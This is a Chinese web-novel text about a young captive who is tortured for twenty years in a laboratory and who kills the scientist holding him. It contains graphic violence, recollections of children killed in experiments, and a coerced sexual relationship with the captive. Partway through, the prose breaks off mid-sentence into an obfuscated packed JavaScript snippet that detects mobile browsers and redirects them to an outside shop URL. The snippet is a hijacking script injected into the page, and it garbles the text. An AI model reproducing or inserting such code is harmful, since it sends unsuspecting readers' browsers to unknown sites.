《【X十六相共轭十X】AML》 1. 【一】 冰冷,是未认知中最初的,也是唯一的温度。 他悬浮在幽蓝色的营养液中,视线所及,是那片透过强化玻璃观察窗的、令人目眩的白光。实验室的无影灯永恒燃烧,像一个没有温度的太阳。 他的脊背紧贴着弧形的舱壁,那是二十年来最熟悉的触感。一根细长的探针,早已刺入他颈侧的静脉,留下持续的钝痛。监测环在脖颈上紧紧扣着,金属边缘陷入皮肉,留下深紫色的凹痕。 “生命体征稳定。神经活性阈值……仍在预期范围内。” 博士的声音隔着玻璃传来,温和得像在念一首摇篮曲。他的背影与未四岁那年第一次被放入这培养舱时,几乎没有任何变化。未依稀记得博士卸下防护服的样子,那色彩奇特的卷发,和那双纯蓝色的、有着奇异竖瞳的眼睛。 “今天我们需要测试痛觉神经传导效率,未。” 博士的声音依旧柔和。“可能会有些不适,但请试着放松。感受它,理解它。” 电极早已从舱壁探出,紧紧贴着未的皮肤,带着金属的凉意。他的指尖在粘稠的液体中无意识地颤动。他记得更小的时候,曾天真地以为这温柔的语调里藏着某种关爱。直到年岁渐长,他才明白,那不过是一个匠人在擦拭自己最趁手的工具。他的身体是仪器,反应是数据,痛苦是刻度。他幻想过自己体内沉睡着足以撕裂这一切的力量,但回应他的只有日复一日的无力。 他记得上一次,电流如同万千根烧红的钢针扎进骨髓,他在剧痛中几乎咬碎牙齿,却死死压抑着喉头的呜咽。哭喊只会让博士眼中掠过一丝“样本反应良好”的满意。 他的视线掠过博士的肩膀,落在控制台侧面一个不起眼的接口上。那里,曾在他四岁时,有过一次微弱的电弧闪过,烧焦了一小片线路。那是他唯一一次,也是最后一次展现出所谓的魔法天赋。 二十年了。每一次痛苦降临,他都会在意识的最深处,疯狂地幻想掌心能再次炸开雷暴。但回应他的,只有体内更深的沉寂。 突然。 连接在他脊椎上的神经接口猛地爆开一簇异常刺眼的电火花。 剧痛如同烧红的烙铁狠狠贯穿了脊髓,每一寸肌肉都在痉挛。这痛苦超越了以往任何测试,是一种纯粹的、旨在摧毁神经的暴力。思考被剥夺,只剩下最原始的本能。 逃离? 他知道这没有用。那强化玻璃的观察窗,他撞击过,测试过,甚至幻想过无数次,它从未有过丝毫动摇。但此刻,除了用这具身体、这身骨头去撞,他找不到任何方式来表达这奔涌的、几乎要炸裂他胸膛的绝望和愤怒。 他用尽全身力气,将额头狠狠撞向面前的观察窗。 一声闷响。预期的坚固触感传来,但紧随其后的,是一种异样的、清脆的碎裂声。 未愣住了,连剧痛都仿佛停滞。他抬起昏沉的头,看见面前的强化玻璃上,以他额头撞击点为中心,蛛网般的裂痕正疯狂蔓延。 时间仿佛被拉长了。 透过裂痕,他看见博士那双纯蓝色的竖瞳微微睁大,里面映出的不再是平日的冷静,而是真实的惊愕。 警告!警告!A3区培养舱结构完整性受损! 机械警报声像是从很远的地方传来。 高压的营养液从裂缝中咆哮着奔涌而出。未被巨大的力量猛地推出舱外,重重摔在冰冷坚硬的地板上。 钝痛传来,却带来一种陌生的真实感。粘稠的液体泼洒开来,在地面蔓延成一片扭曲的镜面。 窒息感被涌入肺部的冰冷空气取代。未剧烈地咳嗽着,撑着身体试图站起,赤裸的脚踝踩在一片碎玻璃上。尖锐的刺痛传来,鲜红的血珠渗出,在幽蓝的积水中晕开一小团刺目的红。 他的目光抬起,越过湿漉漉的睫毛,锁定在几步之外的那个白色身影上。 博士还站在那里,似乎还没完全回过神来。那双纯蓝色的竖瞳正看着未,里面充满了惊讶与探究,但唯独没有恐惧。 太近了。 近到一切都可以在瞬间结束。 二十年的囚禁。 二十年的数据。 二十年的、被温柔包裹的残忍。 恨意。 不是愤怒,不是委屈,是一种更古老、更纯粹的东西,像地底奔涌的岩浆,在这一刻冲破了所有岩层。 他的手指在身下的液体和玻璃渣中摸索,触碰到一块边缘锐利的碎片。很大,很趁手。冰冷的触感从指尖传来,与他体内燃烧的恨意形成奇异的共鸣。 “趴下,别动。” 博士的声音传来。那语调依旧试图维持温柔,但语速明显快了几分。“你左腿腓静脉里还有一枚未取出的生物传感芯片,剧烈运动可能导致它移位。” 未抬起头,湿透的白发黏在额前,血水和营养液从他下颌滴落。他尝试发声,但声带因长期静默而嘶哑。他以为自己在说话,以为那些破碎的音节已经冲出喉咙,质问着对方,用最恶毒的话语。 “……芯片?” 他终于挤出了声音,干涩得像砂纸摩擦,“把它……炸碎……够不够……塞进你的喉咙?” 但实际上,或许只有模糊的气音,或许,什么声音都没有发出。 更强的电流爆响声骤然响起。 他脖颈上的项圈亮起危险的红光。未的身体剧烈地抽搐起来,肌肉不受控制地痉挛,眼前阵阵发黑。然而,预想中的强烈电击并未持续。项圈只是闪烁了几下,便发出一股焦糊味,彻底黯淡下去。同时,整个实验室的灯光都剧烈地闪烁了一下,许多仪器屏幕瞬间黑屏。 “啊……”博士低声说道,像是在陈述一个刚刚得出的、令人不太满意的实验结论,他的皮鞋踩过地上混合着液体与玻璃的狼藉,发出“咔嚓咔嚓”的清脆声响,那声音,冷静得如同在踩碎一只已经失去了所有研究价值的昆虫标本。“看来……你的基因链,比我的这些设备先一步崩溃了。” 他顿了顿,纯蓝色的竖瞳落在未的身上,“未,你连当个稳定的‘电源’——” 博士的话音戛然而止。 未甚至没有完全站起身。就在那“电源”二字出口的瞬间,他的身体已经如同绷紧的弓弦,骤然弹射而出。不是奔跑,是扑杀。 像一头第一次捕猎的幼兽,带着未经雕琢却足以致命的野性。 博士似乎微微动了一下,也许是想后退,也许是想抬手。 但太晚了。 未的身体重重地撞上他,两人一起倒下。未的手,那只紧握着玻璃碎片的手,借着前冲的势头,毫不犹豫地、精准地、狠狠地- 刺入。 温热的液体猛地喷溅出来,溅在未的脸上,带着粘稠的暖意。博士的身体在他身下剧烈地抽搐了一下,喉咙里发出一个模糊的、被液体堵塞的音节。未看见那双纯蓝色的竖瞳在自己眼前猛地放大,里面倒映着自己狰狞的面容,还有某种凝固的、未及绽放的惊诧。然后,那眼中的光芒,像被风吹熄的烛火,迅速地黯淡下去。 一切归于寂静。 只有血从伤口汩汩流出的声音,细微而持续。 未跨坐在博士不再动弹的身体上,剧烈地喘息着。手中的玻璃碎片还深深嵌在对方的脖颈里,他自己的手掌也被割裂,温热的血与博士的血混在一起,沿着他的手臂蜿蜒而下,滴落在被染红的白色防护服上,晕开一朵不断扩大的、暗红的花。 他做到了。 就在这时,一股难以形容的重量猛地砸在他的后背。未猝不及防,向前一扑,胸口重重撞在博士已经冰冷的尸体上。 他猛地回头。 空无一人。 在他刚才位置的后方,悬浮着一本书。 它不大,却给人以厚重的感觉。暗沉的黄色与黑色在封面上交织出无法理解的纹路。它就那样悬在那里,违背常理,散发着冰冷而沉默的气息。 未的心脏骤然收紧。他挣扎着爬起来,向后退去,赤裸的脚踩在混着血和营养液的地面上。 那本黄黑封面的法器,随着他的移动,同步向前漂浮,精确地保持着与他的距离。 他停,它停。 他动,它动。 如同一个无声的影子。 恐慌攫住了他的心脏。他挥手,试图驱赶,指尖只划过冰冷的空气。他尝试加速绕过它,它却如影随形,始终介于他与实验室那扇紧闭的大门之间。他试图发出嘶吼,试图命令它滚开。但最终冲破寂静的,只是喉咙里溢出的、破碎的喘息。 法器沉默以对,只是静静地悬浮。 一种被重新禁锢的愤怒混合着恐惧,再次点燃了他。他刚刚才用鲜血撕开的自由,绝不能再被夺走。 他弯腰,不顾掌心的伤口,抓起地上一块更大的玻璃碎片,用尽全身力气,朝着那悬浮的法器猛掷过去。 玻璃碎片触及黄黑封面的瞬间,仿佛撞上了无形的坚壁,炸裂成一片晶莹的粉末,簌簌落下。而几乎在同一时刻,未感到自己的胸口被一股无形的巨力狠狠击中。 他踉跄着向后倒退,脊背撞上冰冷的控制台边缘,剧痛让他眼前发黑,几乎窒息。那感觉分明就是他刚才投掷出去的力量,被原封不动地返还到了他自己身上。 他蜷缩着,剧烈地咳嗽,抬起头,惊恐地看向那悬浮的法器。 一个冰冷而清晰的认知,缠上了他的心脏。 这东西与他,已被某种无法理解、无法斩断的规则,捆绑在了一起。 …… 死亡不是突然降临的。它像夜雾般缓缓漫上眼角,将视野染成渐深的灰。博士能清晰感受到生命力正从脖颈间那个狭小的创口流逝,带着体温,一滴一滴,落在实验室冰冷的金属地板上。那声音很轻,比他调整过的任何仪器都要轻柔。 他的意识没有挣扎,只是顺着这道湿滑的斜坡向下沉坠,滑向那些早已归档的实验记录,滑向那些安静躺在数据流深处的孩子们。这感觉并不陌生,就像每次结束一个长期项目后,他总会花一点时间,独自翻阅过往的数据。只是这一次,翻阅的是他自己。 他想起了处理残余物那天。流程很标准,和他处理过的许多样本一样。空气里弥漫着淡淡的消毒液气味,和他刚来这里时一样。他看着分子震荡仪里闪烁的微光,心里默数着时间。比预定流程快了十七秒。很好。他在电子日志里简洁地写下“项目Z-98终止,数据归档”,然后自然地补充了一句关于下一代模型稳定性优化的想法。保存,关闭。他当时觉得那孩子最后是平静的,这很好。他总是希望他们能平静一些。 实验室需要安静。他一直这么认为。 记忆的索引继续向后翻动。更早的时候,有个很吵的孩子,编号似乎是83。那孩子总是哭,声音尖细,日夜不停,像一根永远在震动的琴弦。他试过几种镇静方案,效果都不理想。哭声会影响其他实验体的稳定,也会干扰数据的纯净度。最后他选择了强酸处理,因为那是最快、最彻底的解决方案。他看着数据曲线恢复正常,心里松了口气——实验室终于恢复了工作所需的安静环境。他在记录本上写下:“83号处理完毕。建议后续关注脑域开发项目的初始阈值设定。” 还有59号,天赋的异常波动导致了身体的钙化,变成了坚硬的白色物体,保持 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记忆在这里变得鲜明起来,像被血液温热的玻璃。二十年前,那个瘦小的男孩第一次被带进实验室的时候,也是这样安静的。只是孩子的安静是恐惧的,而实验室的安静是永恒的。电极贴上孩子喉结的瞬间,那单薄的胸膛起伏得厉害。他的声音不自觉地放得很轻:“别怕,”他说,像在安抚一只受惊的小动物,“很快就会过去。”当电流精准地切断孩子试图发出的哭喊,他看着监测屏上瞬间平稳下来的数据曲线,语气温和地陈述:“你看,这样安静多了。” 他给了那孩子二十年安静的时光。他认为这是最好的礼物。 第一年,项圈通过震动传递指令时,他总是把频率调到最低档,刚好能感知的程度。“这是为你好,”他在记录里写道,笔尖流畅,“语言是低效且充满误解的噪音。”当清晨发现孩子咬碎了自己三颗臼齿,观察窗上留下模糊的血痕时,他沉默地调整了营养配比,并在备注栏认真写下:“需加强钙质补充,关注实验体口腔健康。” 第七年,脑部扫描影像清晰地显示,语言功能区已显著退化。但与此同时,数据表明,听到他独特的、不疾不徐的脚步声时,孩子的瞳孔收缩率会有稳定而显著的反应。他在日志里欣慰地记录:“建立了更直接、更高效的非语言连接方式。”这证明了他的方向是正确的。 第十五年,喉部肌肉群萎缩状况符合预期。也正是在这一年,他通过高精度运动传感器,发现孩子竟然在用极其细微的指尖颤动传递着某种编码信号。他确实有些惊讶,甚至有一丝不易察觉的赞叹——在如此极端的限制下,生命寻找出口的意志依然如此顽强。但此路不通。第二天的行为矫正,他亲自设定了电击参数,把强度精确控制在了能打断行为模式的最低必要值。“这是为你好,”操作时他隔着观察窗轻声说,明知那孩子不可能听见,“我们要去掉这些没用的部分,才能装进更重要的东西。”他看着孩子在电流中短暂地痉挛,然后恢复平静,心里感到一种落实了的安稳。 他的记录本越来越厚,摞起来像小小的城墙。笔迹始终工整,墨迹均匀。他记录孩子面部毛细血管的扩张与收缩速率,记录皮肤电导率的微小波动,记录每一次呼吸频率的改变与情绪刺激源的关联。有时在深夜,四周只有仪器运行的低声嗡鸣,他对着那些起伏的曲线和数据点,会微微露出笑意——那孩子正在以一种更精妙、更纯粹的方式与他对话,一种超越了粗陋词汇的语言。他觉得自己像一个耐心的听众,终于开始听懂宇宙深处传来的微弱的星语。 当监控画面捕捉到那孩子第一次主动调动面部肌肉,展现出一个虽然僵硬但明确可控的表情变化时,他确实感到了高兴。一种纯粹属于研究者的高兴。他在记录页上连用了三个“显著进步”,笔尖因为下意识的兴奋而稍稍用力,在纸面上留下一个微小的墨点。 第19年零7天,监控警报突兀地撕裂了实验室的宁静。他正在分析一组新生成的脑波数据,闻声立刻起身。冲进核心实验室时,他看到的情景让他微微一怔——那孩子正用头额反复撞击着坚不可摧的舱壁,培养液因为舱体破损而倒灌,正涌入孩子的口鼻。没有犹豫,他拿起神经抑制器,步伐稳定,动作精准而流畅。“安静,”他一边将冰冷的针尖抵近孩子的太阳穴,一边低声安抚,像在哄劝一个做了噩梦而挣扎的孩子,“很快就安静了。” 针尖刺入的瞬间,孩子猛地抽搐了一下,眼中似乎有某种他从未见过的、炽亮如雷光的东西一闪而过。那一刻,他心里掠过一丝极淡的遗憾,像水面上划过的风——明明只差一点,他们就能共同抵达那个更安静、更完美的彼岸了。真可惜。 记忆的胶片在这里被突兀地切断。 现实的触感冰冷而尖锐。是脖颈间深深嵌入的玻璃碎片,以及生命力随着温热血浆流逝所带来的、越来越深的凉意。他看见未——那个他称之为Z-99的孩子——正俯视着他,那双眼睛里燃烧着他无法理解也无法量化的火焰。他听见那些破碎的、嘶哑的、完全不符合声学原理的声音从对方的喉咙里挤出。 他不明白。 他给了这孩子二十年受保护的、纯净的、不受外界纷扰的安宁,为他剔除了那些不必要的情感与表达所带来的痛苦,引导他走向一条更高级的进化路径。为什么换来的,却是这样混乱、粗粝而喧闹的结局? 视野边缘的黑暗逐渐蔓延,吞没了仪器指示灯的光芒,吞没了天花板的颜色,最后吞没了他尚未想通的疑问。实验室里,最后一丝属于生命的声音也消失了。这一次的寂静,与他精心维护了二十年的那种充满潜在数据的静默不同,这是一种空洞的、万物终结后的、绝对的虚无。 而在某个他无法感知的维度,或许就在隔壁,或许在遥远的时间线之外,另一间实验室的灯光依然亮着。另一个穿着同样洁白袍子的身影,正平静地翻开一页新的记录册。基于他上传的、用所有代价换来的数据,笔尖落在纸面上,发出稳定而持续的沙沙声。 那声音,很轻,很安静。 2. 【一】间章 冰冷,粘稠,窒息。 这是镌刻在未意识中最原始的烙印,远早于任何清晰记忆的形成。他如同沉没于永夜的深海,唯有每隔一段时间贯穿脊髓的剧痛,如闪电般短暂照亮那片虚无,让他模糊地感知到“自我”的存在。 他最早、也堪称温暖的记忆碎片,是关于一个怀抱的。很小的时候,每当从一场尤为难熬的“测试”中昏迷又醒来,他总发现自己被一个穿着柔软白衣的人抱着。那人的手很大,轻拍他的背,哼着没有具体歌词、音调却异常平稳安详的旋律。那时的博士,身上没有消毒水的锐利气味,只有一种干净的、类似阳光晒过织物的味道。未会将滚烫的脸颊埋进那片白色,汲取着微薄的暖意,在持续的钝痛与疲惫中昏沉入睡。 那或许算不上“家”,但确实是一个不同于实验室舱体的地方。一间宽敞明亮的房间,铺着柔软地毯,墙壁是温和的米黄色,甚至还有窗户——尽管窗外永远是模拟出的、过于完美的蓝天白云。那里不止有他,还有另外几个孩子:Z-73,头发微卷的安静女孩,总抱着一只旧的绒毛兔子;K-12,比他稍大的男孩,眼神里有过早的成熟;还有更小的L-05和E-44。 博士是他们的老师。 他用那特有的、平稳清晰的语调给他们上课。课程内容很奇怪,不是数学或语言,而是各种“规则”和“道理”。 “不可以抢夺别人的东西,”博士会指着图画书上被抢走玩具而哭泣的小孩,语气温和却不容置疑,“这会带来痛苦。” “要尊重彼此,”他会让K-12和未握手,让他们看着彼此的眼睛,“身体的接触应该是善意的。” “欺凌是错误的行为,”他的目光扫过每个孩子,那双纯蓝色的竖瞳里没有情绪,却仿佛能洞察一切,“强大的存在,不是为了施加痛苦,而是为了……理解。” 未曾懵懂地点头,将这些话语如圣谕般铭记。他甚至一度以为,夜里在实验室承受的、被博士称为“必要课程”的痛苦,是自己做错了事的惩罚。一次“课程”结束后,他忍着眼泪,扯住博士的衣角,用嘶哑的气音问:“为……什么……痛?” 博士停下收拾仪器的手,低头看他,眼神里没有不耐,也无怜悯,只有一种纯粹的、探究式的平静。“因为需要。”他简短地回答,随后用那双刚操作过电极、注射过药剂的手,轻揉了揉未的头发,“去休息吧。” 需要?什么是需要?未不明白。他只知晓,白天的博士会耐心纠正他拿勺子的姿势,会在他因模拟阳光眯眼时调整窗户透光率,甚至在他四岁那年,用一个简单电路板和小灯泡教他“闭合的回路才能带来光明”。那时的博士,指尖是暖的。 但夜晚的博士,指尖永远冰凉。 年岁渐长,离开“教室”回到独立监护室后,夜晚的“课程”愈发规律而漫长。从记忆初期模糊的束缚带,到后来特制的人体工学拘束椅,他像一件珍贵易碎品,被小心翼翼固定起来,迎接即将到来的“理解”。 两个小时。精确,雷打不动。 有时是电流,如千万根烧红的针,从神经末梢烧灼至大脑皮层;有时是药物,引发肌肉痉挛、幻觉或极端的冷热交替;有时是纯粹的物理刺激,针尖探入、骨骼受压、皮肤被划开又迅速愈合。博士总在一旁记录数据,偶尔出声提醒: “感受它,未。不要抗拒。” “观察你的身体反应,心率正在加速。” “尝试分离,疼痛只是一种信号。” 他的声音始终平稳温和,如同朗读优美课文。未常在剧痛间隙,死死盯住博士在无影灯下略显模糊的脸,试图找到一丝与这残酷相匹配的情绪——愤怒、憎恨,或哪怕一丝兴奋。但没有,什么都没有。只有全神贯注的冷静,偶尔在数据符合预期时,掠过一缕极淡的、近乎满意的神色。 这种割裂,比疼痛更让未恐惧迷茫。那个白天教他“不能伤害别人”的人,为何夜晚能如此系统、精确地伤害他?为何一边说“欺凌是错误”,一边亲手施加更甚千百倍的折磨? 他问过,不止一次。 “为什么……要做?” “这是错误的……你说过……” 博士的回答永远简洁,带着理所当然、不容置疑的平静: “这是必要的。” “为了更重要的目标。” “你现在无法理解。” 他从不解释何为“必要”,何为“目标”。只是日复一日,年复一年地重复。这沉默像一堵无形之墙,将未所有的质疑、愤怒与哀求反弹回来,砸在他心上,凿出更深的绝望。 在那“教室”中,与其他孩子的关系也透着诡异的扭曲。他们被教导要友善,彼此间却存在心照不宣的疏离。他们都明白对方与自己一样“特别”,也都隐约知道,夜幕降临后,每个人都会回到属于自己的实验室。 未与Z-73稍近一些。那女孩很安静,手指总无意识抠着绒毛兔子的耳朵。一次,未看见她露出的手腕上有细密针孔。她察觉他的目光,立刻拉下袖子,眼神躲闪。他们沉默着,但未懂了。 他也曾与K-12有过短暂“友谊”。K-12懂得更多,会偷偷告诉他实验室的规矩,比如哪种颜色的指示灯意味接下来的测试格外难熬。一次,K-12在“课程”中伤了喉咙,几天无法发声。回到教室后,他看博士的眼神混杂着恐惧与某种扭曲的依赖。K-12低声对未说:“别惹他生气……听话,会好过一点。” 但“听话”并未让日子真正好过。K-12在未八岁那年消失了。博士只是平静宣布,K-12的“项目”已完成,去了别处。未不相信。他记得K-12消失前,眼中的光日渐暗淡,有时对着墙壁无声流泪。那之后,教室里的空位再未被填补。 L-05和E-44是后来进来的,年纪更小,对博士仍存雏鸟般的依恋。他们会因博士白天的一句夸奖高兴半天,也会在夜里被带走时哭喊“博士叔叔”。未看着他们,仿佛看到几年前的自己。那种天真如脆弱糖衣,终将被现实碾碎。他感到无力,无法保护他们,甚至无法告知真相——因他自己也不知真相为何。 希望如风中之烛,在一次次“必要课程”与同伴的无声消失中摇曳欲灭。 他试过反抗。在拘束椅上挣扎,用嘶哑的喉咙发出怒吼,以眼神传递最恶毒的诅咒。但回应他的,永远是博士平静无波的蓝色竖瞳,以及可能随之调整强度的“课程”。 他试过沟通,用博士所教的道理,试图唤醒对方的“人性”。 “你说……不能……伤害……” “痛苦……是错的……” 博士会停笔看他,似在认真思考,然后给出更令人绝望的回答: “定义是相对的。这里的‘伤害’,是为避免未来更大规模、无意义的痛苦。” “我在教你理解痛苦本质。当你真正理解,它便无法再伤害你。” 诡辩!全是诡辩!未在心中呐喊,却发不出声。他意识到博士的逻辑自我完满,如密不透风的堡垒,无从攻破。这个给他最初温暖、教他善恶对错的人,竟是他所有痛苦的根源,且坚信这一切正确而必要。 这认知彻底摧毁了他对世界最基本的信任。善与恶、对与错、温暖与冷酷,这些原本清晰的界限在博士身上模糊融合,化作一团无法理解的、粘稠的黑暗,将他紧紧包裹。 他对未来不再抱任何幻想。离开?不可能。死亡?或是解脱,但连这亦不由他主宰。他只是一件工具,一个样本,一段待读取的数据。他存在的意义,似乎就是承受这日复一日的折磨,直至某天如K-12及那些更早的、他连编号都未知的孩子们一样,“项目完成”,然后无声消失。 他的内心从最初的恐惧、困惑、愤怒,渐至麻木,最终沉淀为深不见底的绝望,如一口枯井,再映不出丝毫星光。 有时,“课程”结束,身体仍不受控地颤抖,意识漂浮于疼痛余波中,他会恍惚听见那首无词的摇篮曲。那旋律曾象征他生命中唯一的慰藉,如今却与电极嗡鸣、束缚带触感、博士平静的指令声混杂,化作最怪诞、最残忍的安魂曲,夜夜在灵魂深处回响。 …… 十六岁像一道无声的门槛。跨过之后,那间曾有零星几个孩子的“教室”彻底空了。Z-73是最后一个离开的,在一个毫无征兆的清晨。她的绒毛兔子被遗落在角落,后来也不见了踪影。未没有问,他知道询问不会有答案,只会引来注视。那种空荡,并非物理上的宽阔,而是一种重量,沉甸甸地压在他的呼吸上。世界缩小到只剩下他和博士,以及那些永恒运转的、发出低微嗡鸣的仪器。 麻木,成了他生存的底色。一种致密的、几乎感觉不到痛苦的顺从。他像一件保养良好的工具,博士需要他静止,他便凝固如雕塑;需要他移动,他便精确地走到指定位置。他的观察力变得异常敏锐,如同在极寒中必须保持清醒才能存活的动物。他能从博士脚步声的细微差异判断接下来的“课程”类型,能从仪器启动前的预热音分辨出即将降临的是电流、低温还是某种化学试剂的注入。这种敏锐无关求知,只是生存的本能,是试图在无法预测的风暴中,抓住一丝微弱预警的藤蔓。 然而,在这片麻木的冻土之下,并非死寂。那里是一片混乱的沼泽,情感的淤泥在其中翻滚、发酵。他依旧渴望那偶尔一现的温柔,哪怕明知是裹着糖衣的砒霜。这种渴望与随之而来的、对自身软弱的憎恶交织在一起,几乎要将他撕裂。他困惑,为什么施加伤害与给予零星温暖可以并存于同一个人身上?为什么那些关于“善”与“尊重”的教导,言犹在耳,却与眼前的一切形成最尖锐的讽刺?愤怒像被压在万米深海的火山,无声地积蓄着毁灭性的力量,却找不到喷发的出口。而这一切之上,弥漫着一种冰冷的、无处不在的绝望——对现状,对未来,对他自身存在的意义。 正是在这片内心的废墟之上,博士的行为开始变得更加……难以定义。 博士依旧穿着白袍,依旧进行着各种测试,但某些时刻,他不再是那个高高在上的研究者。他会在测试结束后,不是立刻记录数据,而是用手帕轻轻拭去未额角的血迹,动作轻柔得像对待一件珍宝。他会带来一些并非实验必需品的食物,味道很好,坐在旁边看着未吃下,眼神里带着一种……近似于父亲的温和关切。他甚至会开始聊一些无关的话题,关于星辰的运转,关于古代文明的遗迹,语气平等得像面对一个同龄的、可以交流的陌生人。 最让未心神不宁的,是那种隐约的、“恋人”般的氛围。博士注视他的时间变长了,那双纯蓝色的竖瞳里,偶尔会闪过一种未无法解读的、复杂的光,像是好奇,又像是某种…占有。有一次,未在长时间的神经负荷测试后异常疲惫,博士没有立刻让他回舱,而是让他靠在休息椅上,递给他一杯温热的营养剂。博士就坐在旁边,距离近得未能闻到他身上那永远不变的、干净的气息。博士的手指无意间掠过未的手背,那一瞬间的触感,让未的心脏猛地一缩,不是厌恶,也不是喜悦,而是一种更深沉的、混杂着惊悸与某种荒谬感的颤栗。 他开始贪婪地、又无比羞耻地渴求这些短暂的、温和的瞬间。与之前无尽的折磨相比,这简直是天堂。他甚至开始为自己内心无法彻底熄灭的恨意而感到愧疚。也许……也许博士是有苦衷的?也许那些痛苦真的是“必要”的?也许这种逐渐显露的“温柔”,才是真正的博士? 这种虚幻的、摇摇欲坠的“安宁”,持续了几年。像雪原上偶尔停歇的暴风雪,露出下方被粉饰的、看似平整的雪层。 然后,毫无征兆地,寒冬以更酷烈的方式归来。 新的仪器被推了进来,结构更复杂,闪烁着不祥的冷光。 如果把人比喻成水果…… 那么之前的实验,或许还只是测试果皮的韧性,测量果肉的甜度,观察果核的结构。 而现在,是切割。 无形的力场刃,精准地“切”开他的感知,将痛觉、恐惧、绝望这些“果肉”与他意识的核心“果核”分离开。他能“看”到自己的恐惧像被剥离的果肉,摊开在意识的砧板上,被仔细分析其纹理和成分。 是压榨。 巨大的、无形的压力从四面八方而来,不是作用于骨骼,而是作用于他的“存在感”本身。仿佛要将他所有的情绪、记忆、乃至自我认知,都像果汁一样从果核里强行挤压出来,榨取最后一滴反应的汁液。他感到自己正在被压扁,变得干瘪,只剩下一层薄薄的皮和坚硬的核。 是剥离外衣。 某种频率的能量场,作用于他与他身体之间。他产生了一种诡异的剥离感,仿佛他的灵魂(或者说意识)正被从□□这层“外衣”里强行剥出来。他能“感觉”到“外衣”的痛苦,却又像隔着一层毛玻璃,有一种不真实的疏离感。这种介于拥有与失去之间的状态,比纯粹的痛苦更令人崩溃。 是切块食用。 他的时间感、连续的记忆,被切割成互不关联的碎片。一段是极致的痛苦,下一段可能就是绝对的虚无,再下一段,可能是博士在一旁记录数据的侧脸,清晰得可怕,却没有任何前因后果。他像一个被切成果盘的水果,每一块都被单独研究,失去了整体的意义。 是摔烂。 意识被投入一个失重的、不断剧烈翻滚和撞击的虚空。没有具体的痛感,而是一种全面的、彻底的“碎裂感”。他的思维、他的认知、他好不容易在绝望中维持的、脆弱的“自我”,像一颗被狠狠摔在地上的果子,汁液四溅,面目全非。 是压烂。 仿佛有一座无形的山,缓慢而不可抗拒地压下来。不是瞬间的毁灭,而是持续的、一点一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848487|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地将他的精神、他的意志碾磨成泥。他能“听”到自己内心某些支撑了多年的东西,发出细微的、断裂的声响,最终化为一片混沌的、无法分辨的浆状物。 未刚开始,还是会因为本能的恐惧而求饶。他用嘶哑的声音,用哀求的眼神,试图唤醒那个曾给他带来“温柔”错觉的博士。但没用。博士只是记录着数据,偶尔会在他濒临崩溃时,用那种熟悉的、平稳的语调说:“保持这样求饶吧,未,虽然这是无用的。” 求饶无用。恐惧无用。那层“恋人”的糖衣,在这系统性的、升级的残酷面前,如同阳光下的冰晶,迅速消融,露出底下坚硬、冰冷的现实。未心中那丝卑劣的惊喜和依赖,被更汹涌的憎恨所取代。他看清了,无论博士戴上怎样的面具,其核心始终是那个为了“必要”可以践踏一切的、非人的存在。 也正是在这个阶段,未开始经历一些无法用常理解释的事情。很多测试已经触及了死亡的范畴。他清晰地记得心脏停止跳动的窒息感,记得意识如同断线风筝般飘离的虚无,记得身体在超越极限的痛苦中彻底崩解的瞬间——那感觉,分明就是死透了。 但下一刻,或者不知过了多久,他会在修复舱中醒来,或者在实验室的地板上恢复意识,身体完好无损,只有记忆里残留着死亡的冰冷烙印。他的记忆也变得断断续续,像信号不良的屏幕,时常出现空白和跳跃。他不知道自己是如何“回来”的,博士也从不解释。这种“无法死亡”的状态,成为一种比死亡更深的折磨,将他最后的解脱之路也堵死了。他像一个被永久固定在实验台上的标本,连终结的权利都被剥夺。 而在这些残酷的间隙,那些诡异的、恋人般的互动并未停止。博士依旧会在某些时候,用那种亲昵的姿态触碰他,用那种专注的眼神凝视他,甚至……那些恋人之间该做的事情,在一种混合着研究探究与扭曲情感驱动的状态下,都发生了。博士的性格始终是温柔的,不管是在进行操作时,还是在进行这些亲密接触时,他的语调、他的动作,都维持着一种可怕的平静与温和。这种温柔,与正在进行的残酷实验形成了最尖锐、最令人精神错乱的对比。 正是在这永恒的雪原、升级的酷刑、无法死亡的绝望、记忆的断层与扭曲的亲密关系的共同作用下,未内心深处压抑了二十年的所有情绪——困惑、愤怒、恐惧、绝望——终于找到了一个统一的、强大的出口…… 恨意。 不再是之前那种混杂着困惑、恐惧和愤怒的复杂情绪,而是一种纯粹的、冰冷的、坚硬的物质,如同在他被掏空的、破碎的内心废墟中,凝结出的一颗黑色的、沉重的果核。 他彻底恨上了博士。 恨他的欺骗,恨他的残忍,恨他那套自洽的、将一切暴行合理化的逻辑,恨他剥夺了自己的一切,最后连恨他的资格都想用虚假的温柔来抹去。 然而,在这滔天的恨意之中,还掺杂着一种更深的、令人战栗的诡异感。 很多实验,明明已经到达了……死亡的范畴。 在“切割”中,他清晰地“感觉”到意识与□□的连接被彻底斩断。在“压烂”时,他“经历”了自我认知的完全崩解和湮灭。他“死”过,不止一次。意识沉入绝对的虚无,感知不到任何存在,连“我”这个概念都消散了。 但是,他总会“回来”。 记忆断断续续,如同被暴力撕扯后又勉强拼接的画卷。他不知道自己是如何“复活”的,是时间被倒流了?是□□被重塑了?还是他的“死亡”本身,也只是实验设计中的一个环节,一种需要他“感受”和“理解”的体验? 他感觉自己好像……没法死。 这个认知,比死亡本身更可怕。它意味着,这种无休止的“切割”、“压榨”和“摔烂”,可能没有尽头。他是一颗无法被彻底摧毁的果实,只能永远承受着被剖析、被品尝、被碾磨的命运。 那颗新生的、由纯粹恨意凝结成的黑色果核,在这永恒的寒冬里,沉甸甸地坠在他的胸膛里。 他既渴望被拯救,又不再相信存在拯救;他憎恨施加痛苦的人,却又与那人有着最深刻的联结。这种撕裂感,将是他一生都需要面对的心理现实。 